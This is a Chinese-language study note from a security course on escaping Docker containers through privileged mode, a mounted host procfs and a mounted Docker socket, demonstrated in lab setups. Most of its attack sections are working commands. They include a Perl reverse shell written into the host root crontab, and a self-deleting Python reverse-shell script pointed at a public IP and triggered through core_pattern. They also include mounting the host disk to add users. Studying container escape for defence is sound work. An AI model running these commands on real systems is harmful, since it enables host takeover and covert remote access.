文章目录
- 前记
- 云上攻防------第九十五天
-
- 云原生篇&Docker安全&权限环境检测&容器逃逸&特权模式&危险挂载
-
- 前置知识
- [云原生 - Docker安全-容器逃逸&特权模式](#云原生 - Docker安全-容器逃逸&特权模式)
-
- [1. 判断当前是否处于Docker容器](#1. 判断当前是否处于Docker容器)
- [2. 判断是否是特权模式](#2. 判断是否是特权模式)
- [3. 查看宿主机磁盘](#3. 查看宿主机磁盘)
- [4. 将该磁盘挂载到容器文件](#4. 将该磁盘挂载到容器文件)
- [云原生 - Docker安全-容器逃逸&挂载Procfs](#云原生 - Docker安全-容器逃逸&挂载Procfs)
-
- [1. 判断当前是否处于Docker容器](#1. 判断当前是否处于Docker容器)
- [2. 检测是否挂载Procfs](#2. 检测是否挂载Procfs)
- [3. 查找容器绝对路径](#3. 查找容器绝对路径)
- [4. 写入反弹Shell脚本](#4. 写入反弹Shell脚本)
- [5. 执行崩溃程序](#5. 执行崩溃程序)
- [云原生 - Docker安全-容器逃逸&挂载Socket](#云原生 - Docker安全-容器逃逸&挂载Socket)
-
- [1. 判断当前是否处于Docker容器](#1. 判断当前是否处于Docker容器)
- [2. 检测是否挂载Socket](#2. 检测是否挂载Socket)
- [3. 挂载逃逸](#3. 挂载逃逸)
- [云原生 - Docker安全-容器逃逸条件&权限高低](#云原生 - Docker安全-容器逃逸条件&权限高低)
-
- [高权限 - Web入口到Docker逃逸(Java)](#高权限 - Web入口到Docker逃逸(Java))
- [低权限 - Web入口到Docker逃逸(PHP)](#低权限 - Web入口到Docker逃逸(PHP))
前记
- 今天是学习小迪安全的第九十五天,本节课是Docker安全的第一讲,主要围绕开发者不当的启动容器操作导致存在容器逃逸的风险
- 然后本节课主要以理解思路和实战为主,希望你们自己下去复现一遍
云上攻防------第九十五天
云原生篇&Docker安全&权限环境检测&容器逃逸&特权模式&危险挂载
前置知识
Docker是干嘛的?
- Docker是一种应用容器引擎,它允许开发者将应用以及其依赖打包成一个轻量级、可移植的容器
- Docker有三个核心组件:
- 镜像(Image):Docker镜像是用来创建容器的模板,它是一个特殊的文件系统,包含了运行容器所需的程序、库、资源和配置文件。镜像是只读的,并且可以通过Dockerfile来定义和构建。
- 容器(Container):容器是镜像的运行实例,它是独立运行的,与其他容器相互隔离。容器可以被创建、启动、停止、删除和暂停。容器的存储层与镜像的只读层相结合,形成了容器的文件系统。
- 仓库(Repository):Docker仓库是用来存储和管理镜像的服务,它可以是公开的或私有的。开发者可以将自己创建的镜像推送到仓库中,也可以从仓库中拉取其他人分享的镜像。
- 那我们这里主要是讨论的是Docker容器,其实就可以把他类比于某个应用的虚拟机,而像我们的VM就是针对于某个系统的虚拟机
Docker安装及使用
Docker对于渗透测试影响?
- 这个前期讲过,因为Docker容器其实就相当于虚拟机,所以它是一个虚拟出来的空间,攻击者如果拿到容器的权限,也是在一个虚拟的空间里玩耍,对物理机没有任何影响
- 因此我们这里如何对物理机产生危害,那就需要进行容器逃逸到物理机
Docker渗透测试点有哪些?
前渗透 - 判断是否在Docker容器中
没有权限
- 在没有进行渗透之前,根据网站的信息我们其实是没什么办法知道这个网站是否采用Docker搭建
- 主要就是看它的端口信息是否是非正常的端口,或者看扫描出来的端口详细信息中有没有线索
- 更多的是看经验,比如docker容器的版本都是比较稳定的版本,或者可能没有维护版本过老,这些都是特征
拿到权限
- 当我们拿到权限之后,再判断它是不是Docker容器就比较简单了,一般有几个方法
- 查询cgroup信息:
shell
cat /proc/1/cgroup
-
如果是Docker容器,可能会返回如下信息:
-
如果是K8S,可能会返回如下信息:
-
如果是虚拟机环境,可能会返回如下信息:
-
但是这个方法其实不是很准确,有的时候会返回如下信息,但这个也算是一种识别Docker容器的方法:
- 检查/.dockerenv文件:
- 可以通过根目录下是否存在
.dockerenv
文件来判断是否处于Docker容器下,这也是比较准确的一种方式:
shell
ls -al /

后渗透 - Docker容器逃逸
- 当我们判断当前处于Docker容器内时,就可以尝试逃逸了,常见的逃逸思路基本如下三种:
- 特权模式启动导致:不安全的启动方式,适用于Java、ASP等高权限入口;PHP、Python低权限需要提权;与Docker、系统版本无关
- 危险挂载启动导致:危险启动,适用于Java、ASP等高权限入口;PHP、Python低权限需要提权;与Docker、系统版本无关
- Docker自身版本漏洞&系统内核漏洞:主要与软件版本和系统版本有关,高低权限都可用
- 前两个方法其实不算是漏洞,它只是由于开发者在启动时不安全的举动造成 ,因此它与Docker版本无关;而第三个才是软件本身或者操作系统的缺陷导致容器逃逸成功,与Docker版本和操作系统的版本都有关系。
- 参考文章:云原生 | T Wiki
- 然后本节课我们主要讨论的是一、二点的容器逃逸方法,并且不考虑如何去拿取系统的权限
云原生 - Docker安全-容器逃逸&特权模式
- 参考文章:Privileged 特权模式容器逃逸 | T Wiki
- 我们以特权模式启动靶场,这里就是随便用一个docker容器进行演示:
shell
# 拉取镜像
docker pull alpine
# 以特权模式允许镜像容器
docker run --rm --privileged=true -it alpine

1. 判断当前是否处于Docker容器
- 然后我们先判断是否处于Docker容器,就用上述方法进行判断即可:
shell
ls -al /

- 或者也可以使用这个命令判断(当然有时是判断不出来的):
shell
cat /proc/1/cgroup | grep -qi docker && echo "Is Docker" || echo "Not Docker"
2. 判断是否是特权模式
- 我们可以通过如下命令去判断是否处于特权模式:
shell
cat /proc/self/status | grep CapEff

- 如果是以特权模式启动的话,CapEff 对应的掩码值应该为
0000003fffffffff
或者是0000001fffffffff
- 这里确定它的特权模式之后,我们就可以将宿主机的磁盘挂载到容器中,通过创建定时任务去完成逃逸
3. 查看宿主机磁盘
shell
fdisk -l

4. 将该磁盘挂载到容器文件
- 上面出现了Number 1、2、3说明我们当前有三块分区,我们需要确定那块分区被原宿主机挂载过:
shell
cat /proc/mounts | awk '$1~/\/dev\/sda[0-9]/ {print $1}'

- 这里sda3已经被挂载过了,所以我们就将它挂载到
test
目录下:
shell
mkdir /test && mount /dev/sda3 /test && ls /test

-
这里就说明成功挂载,并且能够成功访问到宿主机的文件,我们可以验证一下是否确实是宿主机的根目录:
-
之后我们就可以尝试利用启动计划任务的方式让我们进行容器逃逸:
shell
echo $'*/1 * * * * perl -e \'use Socket;$i="172.16.214.1";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};\'' >> /test/var/spool/cron/crontabs/root
- 或者我们通过宿主机的目录创建一个新用户登录系统,再做权限提升
shell
mount /dev/sda3 /mnt
chroot /mnt adduser john
云原生 - Docker安全-容器逃逸&挂载Procfs
- 参考文章:挂载宿主机 procfs 逃逸 | T Wiki
- 通过挂载的文件进行逃逸,一个是宿主机的Procfs,一个是Docker Sokcet
- procfs是一个伪文件系统 ,它动态反映着系统内进程及其他组件的状态,其中有许多十分敏感重要的文件。因此,将宿主机的procfs挂载到不受控的容器中也是十分危险的,尤其是在该容器内默认启用root权限,且没有开启User Namespace时。
- 首先启动环境,然后这里也是随便找的比较小的容器,并挂载
procfs
系统:
shell
docker run -it -v /proc/sys/kernel/core_pattern:/host/proc/sys/kernel/core_pattern ubuntu

1. 判断当前是否处于Docker容器

2. 检测是否挂载Procfs
- 使用如下命令检测:
shell
find / -name core_pattern

- 如果找到两个
core_pattern
文件 ,那可能就是挂载了宿主机的procfs
,然后我们记住这个/host/proc/sys/kernel/core_pattern
文件,之后会用到
3. 查找容器绝对路径
- 接着我们通过如下命令找到当前容器在宿主机下的绝对路径:
shell
cat /proc/mounts | xargs -d ',' -n 1 | grep workdir

- 这就表示当前容器的绝对路径如下(注意这里要将
/work
改为/merged
):
shell
/var/lib/docker/overlay2/0c9b9ffebacc3b9f097218447badbc65b1b784a5c18eef0273370bcd1f3ec6fe/merged
- 记住这个路径,之后要用到
4. 写入反弹Shell脚本
- 直接写入如下命令创建一个反弹Shell脚本:
shell
cat >/tmp/.x.py << EOF
#!/usr/bin/python
import os
import pty
import socket
lhost = "150.109.111.74" # 反弹IP
lport = 9900 # 反弹端口
def main():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((lhost, lport))
os.dup2(s.fileno(), 0)
os.dup2(s.fileno(), 1)
os.dup2(s.fileno(), 2)
os.putenv("HISTFILE", '/dev/null')
pty.spawn("/bin/bash")
os.remove('/tmp/.x.py')
s.close()
if __name__ == "__main__":
main()
EOF
- 然后给他赋予执行权限:
shell
chmod 777 /tmp/.x.py
- 接着我们将该脚本写到宿主机的
core_pattern
目录(即目标proc目录)下:
shell
echo -e "|/var/lib/docker/overlay2/0c9b9ffebacc3b9f097218447badbc65b1b784a5c18eef0273370bcd1f3ec6fe/merged/tmp/.x.py \rcore " > /host/proc/sys/kernel/core_pattern
- 一定要注意这里的很多空格,不要改动它
5. 执行崩溃程序
-
我们先在攻击机上开启监听:
-
然后在容器中创建如下代码的文件,该文件执行之后会崩溃:
shell
cat >/tmp/x.c << EOF
#include <stdio.h>
int main(void) {
int *a = NULL;
*a = 1;
return 0;
}
EOF
- 并且编译该文件,当然这里我们一般是直接从本地上传编译之后的文件到目标系统:
shell
apt-get update && apt install -y gcc
gcc /tmp/x.c -o /tmp/x

- 执行该文件:
shell
cd /tmp/ && ./x
- 这里能够成功执行报错,但是反弹Shell并没有成功,我也不知道问题出在哪了
云原生 - Docker安全-容器逃逸&挂载Socket
- 参考文章:挂载 Docker Socket 逃逸 | T Wiki
- Docker Socket 用来与守护进程通信即查询信息或者下发命令。
- 首先还是启动一个docker容器,然后挂载/var/run/docker/sock文件:
shell
docker run -itd --name with_docker_sock -v /var/run/docker.sock:/var/run/docker.sock ubuntu
- 并且在容器内安装Docker命令行客户端:
shell
docker exec -it with_docker_sock /bin/bash
apt-get update
apt-get install -y curl
curl -fsSL https://get.docker.com/ | sh
1. 判断当前是否处于Docker容器
- 这个就不再说了
2. 检测是否挂载Socket
- 执行如下命令,如果存在这个文件,就说明可能存在挂载Socket:
shell
ls -lah /var/run/docker.sock

- 这里可以看到是存在这个文件的,那就可能存在该漏洞
3. 挂载逃逸
- 我们在容器内部再创建一个新的容器,并将宿主机目录挂载到新的容器内部:
shell
docker run -it -v /:/host ubuntu /bin/bash

-
此时这里的目录文件已经是宿主机的目录文件了,可以看到两个目录是一模一样的:
-
如果不信的话,我们可以先在主机上创建一个文件,然后再进行逃逸看看文件是否存在
云原生 - Docker安全-容器逃逸条件&权限高低
- 然后经过上面的案例演示,我们应该已经知道了这两种逃逸的方式,那接下来就模拟真实情况下可能会出现的问题
- 这里我们都以特权模式启动,来演示逃逸效果
高权限 - Web入口到Docker逃逸(Java)
- 我们用Java中的Shiro组件来演示真实情况下的Docker逃逸:
shell
docker run --rm --privileged=true -it -p 8888:8080 vulfocus/shiro-721
-
访问8888端口是一个shiro组件的页面:
-
直接工具一把梭拿权限:
-
可以看到是docker容器,然后我们尝试逃逸:
-
可以看到成功逃逸,然后我们就可以创建定时任务,尝试反弹Shell了
低权限 - Web入口到Docker逃逸(PHP)
- 同样,先创建一个docker容器,这里我们创建的是一个php应用:
shell
docker run --rm --privileged=true -it -p 8080:80 sagikazarmark/dvwa

-
先将难度调到最低,然后上传文件拿到Shell:
-
然后以同样的方式尝试容器逃逸:
-
可以看到,它提示我们没有权限去执行命令,什么情况呢?我们可以查看一下自己的用户:
-
我们发现自己是一个低权限用户,因此没有办法执行很多敏感命令,因此这个逃逸不了
-
那刚刚的shiro为什么能够逃逸成功呢?因为Java应用进入默认是root高权限,而PHP应用进入默认是www-data低权限用户,所以不同的网站应用,不同的用户权限,也会影响容器逃逸的成功与否!